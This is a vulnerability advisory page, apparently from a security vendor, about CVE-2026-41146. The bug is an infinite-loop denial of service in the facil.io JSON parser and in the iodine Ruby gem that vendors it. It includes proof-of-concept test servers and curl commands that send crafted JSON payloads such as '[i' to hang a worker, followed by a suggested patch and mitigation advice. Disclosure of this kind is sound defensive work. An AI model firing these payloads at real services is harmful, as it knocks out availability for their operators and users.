CVE-2026-41146 — iodine
Fix: boazsegev/facil.io@5128747CVE-2026-41146 is a Uncontrolled Resource Consumption vulnerability in iodine. No vendor fix is recorded yet; mitigation options are listed below.
facil.io and downstream iodine ruby gem vulnerable to uncontrolled resource consumption and loop with unreachable exit condition
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-41146.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
iodineReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects RubyGems packages — download data is not available via public APIs for these ecosystems.
Description
Summary
fio_json_parse can enter an infinite loop when it encounters a nested JSON value starting with i or I. The process spins in user space and pegs one CPU core at ~100% instead of returning a parse error. Because iodine vendors the same parser code, the issue also affects iodine when it parses attacker-controlled JSON.
The smallest reproducer found is [i. The quoted-value form that originally exposed the issue, [""i, reaches the same bug because the parser tolerates missing commas and then treats the trailing i as the start of another value.
Details
The vulnerable logic is in lib/facil/fiobj/fio_json_parser.h around the numeral handling block (0.7.5 / 0.7.6: lines 434-468; master: lines 434-468 in the current tree as tested).
This parser is reached from real library entry points, not just the header in isolation:
facil.io:lib/facil/fiobj/fiobj_json.c:377-387(fiobj_json2obj) and402-411(fiobj_hash_update_json)iodine:ext/iodine/iodine_json.c:161-177(iodine_json_convert)iodine:ext/iodine/fiobj_json.c:377-387and402-411
Relevant flow:
- Inside an array or object, the parser sees
iorIand jumps to thenumeral:label. - It calls
fio_atol((char **)&tmp). - For a bare
i/I,fio_atolconsumes zero characters and leavestmp == pos. - The current code only falls back to float parsing when
JSON_NUMERAL[*tmp]is true. JSON_NUMERAL['i'] == 0, so the parser incorrectly accepts the value as an integer and setspos = tmpwithout advancing.- Because parsing is still nested (
parser->depth > 0), the outer loop continues forever with the samepos.
The same logic exists in iodine's vendored copy at ext/iodine/fio_json_parser.h lines 434-468.
Why the [""i form hangs:
- The parser accepts the empty string
""as the first array element. - It does not require a comma before the next token.
- The trailing
iis then parsed as a new nested value. - The zero-progress numeral path above causes the infinite loop.
Examples that trigger the bug:
- Array form, minimal:
[i - Object form:
{"a":i - After a quoted value in an array:
[""i - After a quoted value in an object:
{"a":""i
PoC
Environment used for verification:
facil.iocommit:162df84001d66789efa883eebb0567426d00148eiodinecommit:5bebba698d69023cf47829afe51052f8caa6c7f8- standalone compile against
fio_json_parser.h
Minimal standalone program
Use the normal HTTP stack. The following server calls http_parse_body(h), which reaches fiobj_json2obj and then fio_json_parse for Content-Type: application/json.
#define _POSIX_C_SOURCE 200809L
#include <stdio.h>
#include <time.h>
#include <fio.h>
#include <http.h>
static void on_request(http_s *h) {
fprintf(stderr, "calling http_parse_body\n");
fflush(stderr);
http_parse_body(h);
fprintf(stderr, "returned from http_parse_body\n");
http_send_body(h, "ok\n", 3);
}
int main(void) {
if (http_listen("3000", "127.0.0.1",
.on_request = on_request,
.max_body_size = (1024 * 1024),
.log = 1) == -1) {
perror("http_listen");
return 1;
}
fio_start(.threads = 1, .workers = 1);
return 0;
}
http_parse_body(h) is the higher-level entry point and, for Content-Type: application/json, it reaches fiobj_json2obj in lib/facil/http/http.c:1947-1953.
Save it as src/main.c in a vulnerable facil.io checkout and build it with the repo makefile:
git checkout 0.7.6
mkdir -p src
make NAME=http_json_poc
Run:
./tmp/http_json_poc
Then in another terminal send one of these payloads:
printf '[i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
Observed result on a vulnerable build:
- The server prints
calling http_parse_bodyand never reachesreturned from http_parse_body. - The request never completes.
- One worker thread spins until the process is killed.
Downstream impact in iodine
iodine vendors the same parser implementation in ext/iodine/fio_json_parser.h, so any iodine code path that parses attacker-controlled JSON through this parser inherits the same hang / CPU exhaustion behavior.
Single-file iodine HTTP server repro:
require "iodine"
APP = proc do |env|
body = env["rack.input"].read.to_s
warn "calling Iodine::JSON.parse on: #{body.inspect}"
Iodine::JSON.parse(body)
warn "returned from Iodine::JSON.parse"
[200, { "Content-Type" => "text/plain", "Content-Length" => "3" }, ["ok\n"]]
end
Iodine.listen service: :http,
address: "127.0.0.1",
port: "3000",
handler: APP
Iodine.threads = 1
Iodine.workers = 1
Iodine.start
Run:
ruby iodine_json_parse_http_poc.rb
Then in a second terminal:
printf '[i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
On a vulnerable build, the server prints the calling Iodine::JSON.parse... line but never prints the returned from Iodine::JSON.parse line for these payloads.
Impact
This is a denial-of-service issue. An attacker who can supply JSON to an affected parser path can cause the process to spin indefinitely and consume CPU at roughly 100% of one core. In practice, the impact depends on whether an application exposes parser access to untrusted clients, but for services that do, a single crafted request can tie up a worker or thread until it is killed or restarted.
I would describe the impact as:
- Availability impact: high for affected parser entry points
- Confidentiality impact: none observed
- Integrity impact: none observed
Suggested Patch
Treat zero-consumption numeric parses as failures before accepting the token.
diff --git a/lib/facil/fiobj/fio_json_parser.h b/lib/facil/fiobj/fio_json_parser.h
@@
uint8_t *tmp = pos;
long long i = fio_atol((char **)&tmp);
if (tmp > limit)
goto stop;
- if (!tmp || JSON_NUMERAL[*tmp]) {
+ if (!tmp || tmp == pos || JSON_NUMERAL[*tmp]) {
tmp = pos;
double f = fio_atof((char **)&tmp);
if (tmp > limit)
goto stop;
- if (!tmp || JSON_NUMERAL[*tmp])
+ if (!tmp || tmp == pos || JSON_NUMERAL[*tmp])
goto error;
fio_json_on_float(parser, f);
pos = tmp;
This preserves permissive inf / nan handling when the float parser actually consumes input, but rejects bare i / I tokens that otherwise leave the cursor unchanged.
The same change should be mirrored to iodine's vendored copy:
ext/iodine/fio_json_parser.h
Impact
facil.io- Verified on
mastercommit162df84001d66789efa883eebb0567426d00148e(git describe:0.7.5-24-g162df840) - Verified on tagged releases
0.7.5and0.7.6
- Verified on
iodineRuby gem- Verified on repo commit
5bebba698d69023cf47829afe51052f8caa6c7f8 - Verified on tag / gem version
v0.7.58 - The gem vendors a copy of the vulnerable parser in
ext/iodine/fio_json_parser.h
- Verified on repo commit
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 💎RubyGems | iodine | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for iodine, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
No patched version of iodine has shipped for CVE-2026-41146 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-41146 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-41146. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-41146 in your dependencies?
O3 Security finds CVE-2026-41146 across RubyGems dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.